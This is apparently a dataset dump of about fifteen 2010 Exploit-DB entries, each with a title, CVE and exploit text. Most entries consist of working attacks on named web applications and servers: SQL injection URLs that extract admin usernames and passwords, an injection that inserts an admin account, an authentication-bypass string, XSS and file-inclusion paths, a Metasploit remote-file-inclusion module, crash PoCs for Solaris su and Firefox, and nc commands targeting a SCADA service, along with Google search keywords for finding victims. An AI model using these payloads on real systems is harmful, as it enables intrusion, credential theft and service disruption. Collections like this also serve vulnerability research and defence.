QLWD/code_shield huggingface dataset:
标题: Brooky CubeCart 2.0.1 - SQL Injection EDB-ID: 15278 CVE: 2004-1580 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-18 漏洞利用脚本: ===================================================================
CubeCart 2.0.1 SqL InjECti0N
===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : X_AviaTique_X  fr0m  OS-TEAM
[~] Contact : C99@Live.De
[+] Greats T0: YasMouh , M.K , ArGon HaCKer , Shabah-DZ ,amgad noor 
               and all members 0f www.DzHacker.Net
[~] Site: www.DzHaCkEr.NeT
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : CubeCart 2.0.1
~Version : 2.0.1
~Software: http://www.cubecart.com/
~Vulnerability Style : SQL Injection
~Google Keyword : "Powered by CubeCart 2.0.1"
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Unix, (R):5.0.32-Debian
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
    ~~~~~~~~ Explotation ~~~~~~~~~~~
    String (') SQL Injection Attack..
    http://www.exemple.com/cart/index.php?cat_id=19' {SQL Injection}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~~~~~~~~ Exemples ~~~~~~~~~~~
    http://www.exemple.com/cart/index.php?cat_id=19+union+select+group_concat%28username,0x3a,password%29,2,3,4,5,6,7,8+from+cube305_CubeCart_admin_users--
    ================================

     
     GoodLUCK. URL: https://www.exploit-db.com/exploits/15278
标题: IBM solidDB 6.5.0.3 - Denial of Service EDB-ID: 15261 CVE: 2010-4057 2010-4056 2010-4055 类型: DOS 平台: MULTIPLE 发布日期: 2010-10-15 漏洞利用脚本: Source: http://aluigi.org/adv/soliddb_1-adv.txt
#######################################################################

                             Luigi Auriemma

Application:  IBM solidDB
              http://www-01.ibm.com/software/data/soliddb/
Versions:     <= 6.5.0.3
Platforms:    AIX, Linux, Solaris, Windows
Bug:          Denial of Service
Exploitation: remote, versus server
Date:         15 Oct 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"IBM solidDB product family features relational, in-memory database
technology that delivers extreme speed, performing up to ten times
faster than conventional, disk-based databases."


#######################################################################

======
2) Bug
======


The solid.exe service listening on port 1315 can be crashed by an
external attacker through a malformed type of packet.
The bugged function is located at address 0063dc60 which is called
recursively if the packet contains a particular value between the range
of values 15001 and 15100 (switch 9).
The effects of the problem can be:
- stack exaustion by using over 14000 of these values so that all the
  memory of the stack gets consumed by these recursive callings
- NULL pointer due to the usage of only one of these values where an
  unused pointer (set to zero) is used in a comparison operation
- invalid memory access by using also another type of value after those


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/soliddb_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15261.zip

#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/15261
标题: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - Buffer Overflow EDB-ID: 15259 CVE: 2010-4142 类型: DOS 平台: WINDOWS 发布日期: 2010-10-15 漏洞利用脚本: Source: http://aluigi.org/adv/realwin_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  DATAC RealWin
              http://www.dataconline.com/software/realwin.php
              http://www.realflex.com
Versions:     <= 2.0 (Build 6.1.8.10)
Platforms:    Windows
Bugs:         A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF
              B] stack overflow in SCPC_TXTEVENT
Exploitation: remote, versus server
Date:         15 Oct 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"RealWin is a SCADA server package for medium / small applications."


#######################################################################

=======
2) Bugs
=======


-----------------------------------------------------------
A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF
-----------------------------------------------------------

The service of the server running on port 912 is vulnerable to a
stack based buffer-overflow caused by the usage of sprintf() for
building a particular string with the data supplied by the attacker:

  sprintf(
    stack_buffer,
    "C:\\Program Files\\...path_of_RealWin...\\data\\crt\\fwd\\tel\\%s.%d",
    attacker_string,
    attacker_16bit_number);


----------------------------------
B] stack overflow in SCPC_TXTEVENT
----------------------------------

The same server is vulnerable also to another stack based overflow
caused by the usage of strcpy() with the data supplied by the attacker.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/realwin_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15259.zip (realwin_1.zip)

  nc SERVER 912 < realwin_1a.dat
  nc SERVER 912 < realwin_1b.dat
  nc SERVER 912 < realwin_1c.dat


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/15259
标题: Oracle Solaris - 'su' Crash EDB-ID: 15245 CVE: 2010-3503 类型: DOS 平台: SOLARIS 发布日期: 2010-10-13 漏洞利用脚本: From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c

    521   for (j = 0; initenv[j] != 0; j++) { [1]
    522    if (initvar = getenv(initenv[j])) { [2]
    ...
    535     } else {
    536      var = (char *)
    537          malloc(strlen(initenv[j]) [3]
    538          + strlen(initvar)
    539          + 2);
    540      (void) strcpy(var, initenv[j]); [4]
 
'su' when creating new environment from inherited environment inherits values defined
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
a null ptr vulnerability in 'su'. 


   Program terminated with signal 11, Segmentation fault.
   #0  0xd1244734 in ?? ()
   (gdb) x/i $pc
   0xd1244734:  mov    %eax,(%edi)
   (gdb) i r $eax
   eax            0x415f434c    1096762188 <- OUR STRING
   (gdb) i r $edi
   edi            0x0   0 <- NULL PTR

    Incurred fault #6, FLTBOUNDS  %pc = 0xD1244734
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000


----[ PoC trigger 'su' as you.
/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!

   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   Password:
   Segmentation Fault

  -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}


// This was disclosed and patched in October 2010, CVE-2010-3503 URL: https://www.exploit-db.com/exploits/15245
标题: Mozilla Firefox 3.5.10/3.6.6 - 'WMP' Memory Corruption Using Popups EDB-ID: 15242 CVE: 2010-2745 类型: DOS 平台: WINDOWS 发布日期: 2010-10-13 漏洞利用脚本: Source: http://code.google.com/p/skylined/issues/detail?id=21

# Exploit Title: Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
# Date: 2010-10-13
# Author: berendjanwever
# Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11
# Tested on: Windows XP sp3

<HTML>
  <HEAD>
    <SCRIPT>
      function go() {
        var oWMP = document.getElementById("WMP");
        if (oWMP) {
          location.reload();
        } else {
          var oWrapper = document.getElementById("wrapper");
          oWrapper.innerHTML = '<EMBED id="WMP" type="application/x-mplayer2" autostart=1 src="repro-firefox.html"></EMBED>';
          setTimeout(go, 1000);
        }
      }
    </SCRIPT>
  </HEAD>
  <BODY onload="go()">
    <SPAN id="wrapper"></SPAN>
  </BODY>
</HTML> URL: https://www.exploit-db.com/exploits/15242
标题: Site2Nite Auto e-Manager - SQL Injection EDB-ID: 15230 CVE: 2010-4793 类型: WEBAPPS 平台: ASP 发布日期: 2010-10-10 漏洞利用脚本: ==================================================
Auto e-Manager <= SQL Injection Vulnerability
==================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Auto e-Manager
~Software: http://www.site2nite.com/
~Vulnerability Style : SQL Injection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation~~~~~~~~~~~
    
   http://VICTIM/www/detail.asp?ID=654 {SQL Injection}
   http://VICTIM/www/detail.asp?ID=654 and 1=1  {True}
   http://VICTIM/www/detail.asp?ID=654 and 1=0  {False}
   
    ================================

     GoodLuck. URL: https://www.exploit-db.com/exploits/15230
标题: BaconMap 1.0 - SQL Injection EDB-ID: 15233 CVE: 2010-4800 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-11 漏洞利用脚本: ------------------------------------------------------------------------
Software................BaconMap 1.0
Vulnerability...........SQL Injection
Download................http://baconmap.nmsu.edu/
Release Date............10/10/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

An SQL injection vulnerability in BaconMap 1.0 can be exploited to
insert data into any table.


--PoC--

http://localhost/baconmap/doadd.php?type=user%20(email,level,password)%20values%20('test@test.com',256,md5('Password1'));%23&name= URL: https://www.exploit-db.com/exploits/15233
标题: Joomla! Component JS Calendar 1.5.1 - Multiple Vulnerabilities EDB-ID: 15224 CVE: 2010-4795 2010-4794 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-09 漏洞利用脚本: JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities

 Name              JS Calendar
 Vendor            http://www.joomlaseller.com
 Versions Affected 1.5.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-09

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JoomlaSeller  -  Calendar Event  is  a  powerful Joomla!
component  which  allows you to easily create events and
publish  them  on  a  desired date. It is a native build
component  for  Joomla!  1.5  version  and can easily be
installed   using   the    Joomla!    back-end   Install
functionality.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in a SQL query or returned to the user.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 B) Multiple Reflected XSS
 

A) SQL Injection
________________

Input  passed  to "ev_id"  parameter  is  not  properly
sanitised before being used in SQL queries. This can be
exploited  to  manipulate   SQL  queries  by  injecting
arbitrary SQL code.


B) Multiple XSS
_______________

Input  passed to the "month" and "year" parameters  are
not  properly  sanitised  before  being returned to the
user. This  can  be exploited to execute arbitrary HTML
and  script  code in a users browser session in context
of an affected site.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users


B) Multiple XSS

http://site/path/index.php?option=com_jscalendar&view=jscalendar&month=<script>alert('XSS');</script>

http://site/path/index.php?option=com_jscalendar&view=jscalendar&year=<script>alert('XSS');</script>


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/15224
标题: OrangeHRM 2.6.0.1 - Local File Inclusion EDB-ID: 15232 CVE: 2010-4798 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-11 漏洞利用脚本: # Exploit Title:  OrangeHRM 2.6.0.1 Local File Inclusion Vulnerability
# Date: 11-10-2010
# Author: ZonTa -[ LkHackerZ ]-
# Mail: zontahackers[at]gmail[dot]com
# Software Link:  http://www.orangehrm.com/product-download.php?type=stable-zip
     http://sourceforge.net/projects/orangehrm/files/stable/2.6/orangehrm-2.6.0.1.zip/download
# Version: 2.6.0.1 
# Tested on: Apache,PHP5
-------------------------------------------------------------------------------------------------------------------

POC

http://localhost/orangehrm/index.php?uniqcode=KPI&menu_no_top=performance&uri=[local-file]

---------------------------------------------------- END ---------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15232
标题: PHP-Fusion Mod Mg User Fotoalbum 1.0.1 - SQL Injection EDB-ID: 15227 CVE: 2010-4791 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-10 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : PHP-Fusion mg user fotoalbum 1.0.1 <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 10.10.2010
+Script  : PHP-Fusion mg user fotoalbum 1.0.1
+Download : http://phpfusion.marcusg.de/downloads.php?page_id=67
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco,
 
---------------------------------------------------------------------------------------
                                                                                      
 ___ ___ ___ ___                         _ _           _____           _         _  
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_| 
                                              |___|                 |___|           
 
 
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : fusion_users
+columns : user_password, user_name
+Proof of Concept : http://www.site.com/infusions/mg_user_fotoalbum_panel/mg_user_fot
oalbum.php?album_user_id=251&album_id=%27+union+select+1,2,3,4,user_name,6,7,8,9,10,11
+from+fusion_users+where+user_id=1--+
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15227
标题: BaconMap 1.0 - Local File Disclosure EDB-ID: 15234 CVE: 2010-4801 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-11 漏洞利用脚本: ------------------------------------------------------------------------
Software................BaconMap 1.0
Vulnerability...........Local File Inclusion
Download................http://baconmap.nmsu.edu/
Release Date............10/10/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in BaconMap 1.0 can be exploited
to include arbitrary files.


--PoC--

http://localhost/baconmap/admin/updatelist.php?filepath=../includes/settings.php URL: https://www.exploit-db.com/exploits/15234
标题: AdaptCMS 2.0.1 Beta - Remote File Inclusion (Metasploit) EDB-ID: 15237 CVE: 2010-2618 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-12 漏洞利用脚本: ##
#      )   )            )                     (   (         (   (    (       )     ) 
#  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
#  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
# ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
#__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
#\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
# \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
#  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
#          .WEB.ID
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AdaptCMS 2.0.1 Beta Released Remote File Inclusion Exploit',
   'Description'    => %q{
     This module can be used to exploit Remote File Inclusion in AdaptCMS 2.0.1 or earlier in file /inc/smarty/libs/init.php.

   },
   'Author'         => [ 'v3n0m' , 'Yogyacarderlink-Indonesia' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision:$',
   'References'     =>     
    [
     [ 'CVE', '2010-2618' ],
     [ 'BID', '41116' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 262144, # 256k
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Oct 12 2010',
   'DefaultTarget' => 0))

  register_options([
   OptString.new('PHPURI', [ true , "The URI to request, with the include parameter changed to !URL!", '/inc/smarty/libs/init.php?sitepath=!URL!']),
   ], self.class)
 end

 def php_exploit

  timeout = 0.01
  uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
  print_status("Trying uri #{uri}")

  response = send_request_raw( {
    'global' => true,
    'uri' => uri,
   },timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end
  
  handler
 end

end URL: https://www.exploit-db.com/exploits/15237
标题: Flex Timesheet - Authentication Bypass EDB-ID: 15220 CVE: 2010-4797 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-08 漏洞利用脚本: ===================================================
Flex Timesheet - Authentication Bypass() Vulnerability
===================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
[+] Greatz : h4x0reSEC / Inj3ct0r Team / Exploit-DB
           { H4X0RE SECURITY PROJECT }
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Flex Timesheet
~Software: http://truworthit.com/ - Price:200$
~Vulnerability Style : Authentication Bypass()
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation ~~~~~~~~~~~
 
    bypass foR Sql-i Code()
    ================================
    Username : 'or'h4x0reSEC
    Password : 'or'h4x0reSEC
    ================================
          [+]  Logged on.
 
           
       
      GoodLucK ;)


# Inj3ct0r.com [2010-09-28] URL: https://www.exploit-db.com/exploits/15220
标题: xWeblog 2.2 - 'oku.asp?makale_id' SQL Injection EDB-ID: 15218 CVE: 2010-4855 类型: WEBAPPS 平台: ASP 发布日期: 2010-10-07 漏洞利用脚本: ===================================================
xWeblog v2.2 - Remote SQL Injection Vulnerability (tr) 
===================================================

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : xWeblog v2.2
~Software: http://www.aspdunyasi.com/goster.asp?id=19
~Vulnerability Style : (SQLi)
~Google Keywords : "XWEBLOG"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
    ~~~~~~~~ Explotation ~~~~~~~~~~~
 
    SQL Injection
    ================================
    http://TARGET/path/oku.asp?makale_id=-67%20UNION%20SELECT+0,AD,SIFRE,3,4,5,6,7,8,9,10,11,12%20from%20uyeler
    ================================
          [+]  SQL Injected!
 
           
       
      GoodLucK ;)


# Inj3ct0r.com [2010-09-28] URL: https://www.exploit-db.com/exploits/15218